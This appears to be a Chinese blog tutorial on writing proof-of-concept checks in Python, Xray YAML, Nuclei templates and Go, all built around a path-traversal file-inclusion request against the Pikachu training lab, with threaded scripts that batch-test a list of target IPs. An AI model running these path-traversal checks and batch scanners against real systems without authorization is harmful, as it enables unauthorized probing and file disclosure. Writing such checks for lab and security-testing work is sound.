最近在写和poc管理利用相关的工具,水一篇poc编写文章。
0.推荐的poc项目
https://github.com/Threekiii/Awesome-POC
https://github.com/wy876/POC
https://github.com/20142995/Goby
https://github.com/adysec/nuclei_poc
以下poc以pikachu靶场本地文件包含为例
1.Python poc
exp.py
import requests import argparse
parser = argparse.ArgumentParser() parser.add_argument("-u", help="Input the url that u wanna check") args = parser.parse_args() url = args.u
def work(url): url = ( url + "/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4" ) response = requests.get(url) if response.status_code == 200 and ("咨询" in response.content.decode("utf-8")): print(url + "--get!") else: print(url + "--failed!")
def main(): work(url)
if __name__ == "__main__": main()
|
批量验证 main.py
import subprocess import threadpool
def open_file(filename): with open(filename, "r", encoding="UTF-8") as f: filecontent = f.read() return filecontent
def work(target): cmd = ["python", "exp.py", "-u", target] rsp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, error = rsp.communicate() output = output.decode("gbk", "ignore") print(output) pass
def main(): filename = "ip.txt" filecontent = open_file(filename) filecontent = filecontent.split("\n") pool = threadpool.ThreadPool(10) requests = threadpool.makeRequests(work, filecontent) [pool.putRequest(req) for req in requests] pool.wait() pass
if __name__ == "__main__": main()
|
2.Xray poc
https://docs.xray.cool/plugins/yaml/Format
poc示例
name: poc-yaml-example transport: http rules: r0: request: method: GET path: / expression: response.status == 200 && response.title.bcontains(b"Example Domain") expression: r0() detail: author: test links: - https://example.com
|
poc大致分为名称 脚本 信息 三部分
1.名称: name: 脚本名称
2.脚本:
transport: 指定协议
rules:规则集 里面有多个rule,rule代表请求规则
request:请求包信息
expression: rule下的expression用来对返回包进行匹配,例如
response.status==200 && response.body_string.contains("Example Domain")
|
脚本层的expression用作对每个rule的结果进行组合得到的值,用来判断脚本是否匹配成功,例如
expression: r1() && r2() && r3() && r4()
|
3.detail部分主要定义与脚本相关信息
name: poc-yaml-example transport: http rules: r0: request: method: GET path: /pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4 expression: response.status == 200 && response.body_string.contains("咨询") expression: r0() detail: author: Xrect1fy links: - http://Xrect1fy.github.io
|
3.Nuclei poc
https://docs.projectdiscovery.io/templates/introduction
1.id:编号
2.info:基础信息
3.http:发包协议
4.matchers: 返回结果关键字匹配
id: testfile
info: name: this is a pikachu test author: Xrect1fy severity: medium description: | this is a pikachu test reference: - http:// tags: pikachu
http: - raw: - | GET /pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: _ga=GA1.1.412252180.1696003616; _ga_XY08NHY75L=GS1.1.1696928063.3.1.1696928272.0.0.0; Hm_lvt_6eb47a3aeda6ea31fa53985fdfdc78e8=1696003622,1696844040,1696928062 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=1
matchers-condition: and matchers: - type: word words: - "咨询" - type: status status: - 200
|
4.Golang poc
仿照python用Go写了个版本,多线程换成了goroutines
test.go
package main
import ( "flag" "fmt" "io/ioutil" "net/http" "strings" "time" )
func work(url string) { url1 := url + "/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4" client := http.Client{ Timeout: 10 * time.Second, }
response, err := client.Get(url1) currentTime := time.Now().Format("2006-01-02 15:04:05")
if err != nil { } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { } content := string(body) if response.StatusCode == http.StatusOK && strings.Contains(content, "咨询") { fmt.Printf("[+] %s %s -- Success\n", currentTime, url1) } else { fmt.Printf("[-] %s %s -- Failed\n", currentTime, url1) } }
func main() { var url string flag.StringVar(&url, "u", "", "Input the url that you want to check") flag.Parse()
if url == "" { fmt.Println("Usage: go run main.go -u <url>") return }
work(url) }
|
main.go
package main
import ( "fmt" "os" "os/exec" "strings" "sync" )
func openFile(filename string) (string, error) { data, err := os.ReadFile(filename) if err != nil { return "", err } return string(data), nil }
func work(target string, wg *sync.WaitGroup) { defer wg.Done() cmd := exec.Command("go", "run", "./poc/test.go", "-u", target) output, err := cmd.CombinedOutput() if err != nil { fmt.Printf("Output: %s\n", output, err) return } result := strings.ReplaceAll(string(output), "\n", "") fmt.Println(result) }
func main() { filename := ".\\ip.txt" filecontent, err := openFile(filename) if err != nil { fmt.Println("Error reading file:", err) return } filecontent = strings.ReplaceAll(filecontent, "\r", "") a := strings.Split(filecontent, "\n")
var wg sync.WaitGroup for _, line := range a { if line == "" { continue } wg.Add(1) go work(line, &wg) } wg.Wait() }
|